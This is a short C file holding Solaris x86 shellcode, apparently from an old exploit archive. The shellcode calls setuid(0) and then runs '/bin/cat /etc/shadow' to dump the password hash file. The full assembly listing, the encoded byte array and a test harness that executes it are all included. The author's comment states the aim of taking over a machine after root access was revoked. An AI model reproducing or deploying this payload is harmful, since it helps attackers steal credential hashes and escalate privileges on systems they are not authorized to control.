/* ; sm4x 2008 ; /bin/cat /etc/shadow ; 59 bytes ; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris ; (port to SunOS to pwn a b0x - thank god for that default __unix__ CRYPT_DEFAULT!!!!) ; this is what happens when ur work takes away root pirv on a SunOS box :-/ global _start _start: xor eax, eax ; --- setuid(0) push eax push eax mov al, 0x17 int 0x91 ; --- setup /etc/shadow jmp short load_file ok: pop esi ; setup /bin/cat push eax push 0x7461632f push 0x6e69622f mov ebx, esp ; --- array setup push eax ; null push esi ; /etc/shadow push ebx ; /bin/cat mov edx, esp ; -- execve() push eax ; 0 push edx ; array { "/bin/cat", "/etc/shadow", 0} push ebx ; /bin/cat mov al, 0x3b push eax int 0x91 ; --- exit inc eax push eax push eax int 0x91 load_file: call ok db '/etc/shadow' */ #include "stdio.h" char code[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x91\xeb\x20" "\x5e\x50\x68\x2f\x63\x61\x74\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x56\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91\x40\x50\x50" "\xcd\x91\xe8\xdb\xff\xff\xff\x2f\x65\x74" "\x63\x2f\x73\x68\x61\x64\x6f\x77"; int main(int argc, char **argv) { int (*func)(); printf("Bytes: %d\n", sizeof(code)); func = (int (*)()) code; (int)(*func)(); }